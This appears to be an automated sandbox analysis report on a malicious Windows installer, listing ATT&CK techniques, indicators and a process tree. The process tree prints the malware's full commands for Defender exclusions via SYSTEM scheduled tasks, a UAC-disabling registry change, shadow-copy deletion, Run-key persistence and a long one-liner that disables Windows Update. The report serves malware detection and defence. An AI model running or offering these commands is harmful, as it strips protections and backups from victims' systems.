2622767b2ed52da8509bb1a1cef676ab563c6090a60e2faa63b466c1895746aa

Analysis

max time kernel
150s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/10/2026, 06:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.12.exe
Size 38.9MB
Sample261023-hlwxesat21
SHA256 2622767b2ed52da8509bb1a1cef676ab563c6090a60e2faa63b466c1895746aa
MD5 41ec87853d04bae4abbef05318e3d119
SHA1 710cb7890e3b80dd88d9afdea14b71e22d9168d1
SHA512 7d0b3a976d4ed3b9516e3dd5c928bc0e52bce8ed23b25889c655854d6c97c9ed3870a929fe7e926d8d4d083d560caeb169e5183da0354790dbde630932c513eb
SSDEEP 49152:TPnycXVTyTyg5tJyNZ/W/hNbo1iTl8ZFPnMBwbePbgF+VS5sb5m+cZ2lyn0wgsXG:T6chqTShW/hNbSiQfMJPLmrUlsG
TLSH
T1F797D69FBF81DE82F957D23498A75B602336D9B40BF1C307125427206F9F2998EE25D8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	jRcNw1.exe

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\2zBEQM = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Control Panel\International\Geo\Nation	YqkCa9.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
448	YqkCa9.exe
3988	YqkCa9.exe
2100	jRcNw1.exe

Loads dropped DLL 3 IoCs

pid	Process
448	YqkCa9.exe
3988	YqkCa9.exe
2100	jRcNw1.exe

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
564	icacls.exe
5016	icacls.exe
4076	icacls.exe
3380	icacls.exe
4836	icacls.exe
2456	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\2zBEQM\\YqkCa9.exe\""	YqkCa9.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\jRcNw1\\jRcNw1.exe\""	jRcNw1.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
4296	cmd.exe
640	cmd.exe
3696	cmd.exe
2348	cmd.exe
3976	cmd.exe
1248	cmd.exe
3276	cmd.exe
3940	cmd.exe
4356	cmd.exe
3828	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	YqkCa9.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\jRcNw1\jRcNw1.exe	YqkCa9.exe
File created	C:\Program Files (x86)\jRcNw1\XPSPLOG.dll	YqkCa9.exe
File created	C:\Program Files (x86)\jRcNw1\thumbs.db	YqkCa9.exe
File opened for modification	C:\Program Files (x86)\jRcNw1\jRcNw1.exe	YqkCa9.exe
File opened for modification	C:\Program Files (x86)\jRcNw1\image.png	YqkCa9.exe
File opened for modification	C:\Program Files (x86)\jRcNw1\thumbs.db	YqkCa9.exe
File opened for modification	C:\Program Files (x86)\jRcNw1	YqkCa9.exe
File created	C:\Program Files (x86)\jRcNw1\image.png	YqkCa9.exe
File opened for modification	C:\Program Files (x86)\jRcNw1\XPSPLOG.dll	YqkCa9.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2452	sc.exe
4952	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 13 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2924	cmd.exe
3764	cmd.exe
4288	cmd.exe
1632	cmd.exe
4912	cmd.exe
1816	cmd.exe
4228	cmd.exe
3804	cmd.exe
1100	cmd.exe
3660	cmd.exe
2188	cmd.exe
2412	cmd.exe
536	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.12.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.12.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	YqkCa9.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	YqkCa9.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jRcNw1.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1716	schtasks.exe
2412	schtasks.exe
4488	schtasks.exe
1684	schtasks.exe
3988	schtasks.exe
1036	schtasks.exe
4980	schtasks.exe
412	schtasks.exe
5028	schtasks.exe
832	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
4724	install.2.0.12.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe
448	YqkCa9.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 448 wrote to memory of 3940	448	YqkCa9.exe	95
PID 3940 wrote to memory of 2412	3940	cmd.exe	97
PID 3940 wrote to memory of 3360	3940	cmd.exe	98
PID 3940 wrote to memory of 4572	3940	cmd.exe	100
PID 448 wrote to memory of 3696	448	YqkCa9.exe	104
PID 3804 wrote to memory of 4540	3804	cmd.exe	106
PID 3696 wrote to memory of 4980	3696	cmd.exe	107
PID 3696 wrote to memory of 1204	3696	cmd.exe	110
PID 3696 wrote to memory of 2016	3696	cmd.exe	112
PID 448 wrote to memory of 4356	448	YqkCa9.exe	114
PID 1100 wrote to memory of 2268	1100	cmd.exe	116
PID 448 wrote to memory of 2348	448	YqkCa9.exe	117
PID 4356 wrote to memory of 412	4356	cmd.exe	119
PID 2348 wrote to memory of 4488	2348	cmd.exe	120
PID 2348 wrote to memory of 3460	2348	cmd.exe	121
PID 4356 wrote to memory of 1508	4356	cmd.exe	122
PID 2348 wrote to memory of 3836	2348	cmd.exe	124
PID 4356 wrote to memory of 3012	4356	cmd.exe	125
PID 3660 wrote to memory of 3156	3660	cmd.exe	127
PID 448 wrote to memory of 3828	448	YqkCa9.exe	128
PID 3828 wrote to memory of 1684	3828	cmd.exe	130
PID 3828 wrote to memory of 2336	3828	cmd.exe	131
PID 3828 wrote to memory of 1836	3828	cmd.exe	133
PID 4288 wrote to memory of 1072	4288	cmd.exe	135
PID 448 wrote to memory of 2100	448	YqkCa9.exe	136
PID 2100 wrote to memory of 2188	2100	jRcNw1.exe	139
PID 2100 wrote to memory of 1632	2100	jRcNw1.exe	141

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	jRcNw1.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.12.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.12.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4724

C:\Users\Public\2zBEQM\YqkCa9.exe
C:\Users\Public\2zBEQM\YqkCa9.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\2zBEQM\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3940
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\2zBEQM\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2412
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3360
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3696
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4980
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1204
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4356
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:412
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1508
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2348
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4488
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3460
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3828
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1684
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2336
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1836
- C:\Program Files (x86)\jRcNw1\jRcNw1.exe
  "C:\Program Files (x86)\jRcNw1\jRcNw1.exe"
  2⤵
  - UAC bypass
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:2100
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    PID:2188
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jRcNw1" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:1632
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jRcNw1" /inheritance:r
      4⤵
      Modifies file permissions
      PID:564
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:2412
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:536
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      PID:1396
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:1444
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:2452
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4952
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      PID:3504
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        
        PID:3684
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\jRcNw1\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:4296
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\jRcNw1\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3988
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:4920
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:4172
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:640
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1036
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3452
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2336
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3976
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5028
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:1684
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2568
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jRcNw1" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    PID:4912
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jRcNw1" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      PID:5016
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:1248
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:832
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2920
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:2340
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jRcNw1" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    PID:1816
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jRcNw1" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      PID:4076
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\jRcNw1\jRcNw1.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2924
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\jRcNw1\jRcNw1.exe" /inheritance:r
      4⤵
      Modifies file permissions
      PID:3380
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    PID:3276
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1716
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3552

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\2zBEQM" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3804
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\2zBEQM" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4540

C:\Users\Public\2zBEQM\YqkCa9.exe
"C:\Users\Public\2zBEQM\YqkCa9.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3988

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:1056

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
